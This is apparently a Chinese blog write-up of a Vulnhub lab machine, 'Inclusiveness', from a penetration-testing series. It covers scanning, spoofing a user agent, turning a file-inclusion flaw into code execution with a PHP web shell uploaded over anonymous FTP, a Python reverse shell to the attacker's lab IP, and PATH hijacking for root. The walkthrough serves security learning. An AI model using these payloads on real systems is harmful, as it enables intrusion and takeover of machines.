Vulnhub百个项目渗透
Vulnhub百个项目渗透——项目五十三:Inclusiveness(更改ua,lfi->rce)
🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2023年1月18日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
巅峰之路
- Vulnhub百个项目渗透
- 前言
- 信息收集
- 21
- 80
- curl
- 浏览器插件
- 提权
前言
本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
信息收集
首先,判断一下网段内存活主机
找到了.145的机器
然后对该主机进行初始扫描
nmap -p- --min-rate 10000 -A 192.168.247.145
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 2 0 0 4096 Feb 08 2020 pub
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
发现了主要有三个服务,一个ftp允许匿名登陆,一个ssh,还有一个web
我将先从ftp开始,看能不能获得一些敏感信息
21
结果是啥也没有
但是功能正常,考虑与web联动达成反弹shell或者其他的一些什么
80
wen页面初始是一个apache的默认页面
进行目录爆破
我这里使用线程过大导致靶场崩了,大家用10就好
gobuster dir -u http://192.168.247.145/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
扫到了/robots-txt的目录,点进去
他说我不是一个搜索引擎,而网站判断搜索引擎的方式一般是通过ua头,所以我将用bp抓包更改ua或者直接利用浏览器插件或者curl,方法很多,介绍两种
curl
第一种是下面的这种,注意,如果啥都没有建议重启或者回复虚拟机快照
curl -s --user-agent Googlebot http://192.168.247.145/robots.txt
浏览器插件
插件名字是这个
谷歌火狐都能装
然后上面的不变,只需要更改ua部分即可
改成google bot
然后就ok了,得到了一个新的目录
访问吧,点击一个语言,发现可能存在lfi,进行尝试
确实存在lfi
这说明了lfi的可行性
在面对lfi时我们有多种选择来将它转换为rce,其中最为重要的方法是借助日志毒化,有的借助ssh日志,apache日志等等
我们借助现有的ftp进行突破,因为我随便试了几个默认的apache目录都不成功,vsftp默认目录一般更改的几率会小一点
所以我会把如下的一句话写进1.php并且通过ftp上传到pub子目录下
<?php system($_GET['shell']);?>
利用lfi查看如下的日志
/etc/vsftpd.conf
发现路径暴露
我们访问,并且利用一句话
http://192.168.247.145/secret_information/?lang=../../../../../../../var/ftp/1.php&shell=uname%20-a
可以看到,失败了,这是因为我们上传的时候还进入了一个pub子文件夹
如下即可
http://192.168.247.145/secret_information/?lang=../../../../../../../var/ftp/pub/1.php&shell=uname%20-a
接下俩我们就直接执行命令即可
http://192.168.247.145/secret_information/?lang=../../../../../../../var/ftp/pub/1.php&shell=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.247.130%22,4545));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27
提权
我们首先要仔细的查看www目录下几乎所有东西,最终得出这里没有有价值的东西的结论
在/home/tom下,我发现了一个有意思的东西
并且root权限,源码也暴露出来了
发现他会打开一个whoami文件,然后会比较用户名,如果是tom就会进行一个操作,应该就可以提权了,所以我再次看源码如何得到用户名,看到似乎是要输入一个,根据我有限的编程知识,我认为我需要利用bash脚本写一个输出tom的命令在whoami中,我们现测试一下
在测试之前,因为当前目录我们不可写,所以我们去到tmp下创建而后更改临时环境变量
cd /tmp
echo "printf "sb"" > whoami
chmod +x whoami
export PATH=/tmp:$PATH
echo $PATH
cd /home/tom
./rootshell
确实,只不过我在欣喜中还带着一点悲愤
那就开始正式的操作
如下
cd /tmp
echo "printf "tom"" > whoami
chmod +x whoami
export PATH=/tmp:$PATH
echo $PATH
cd /home/tom
./rootshell
ok
关机,睡觉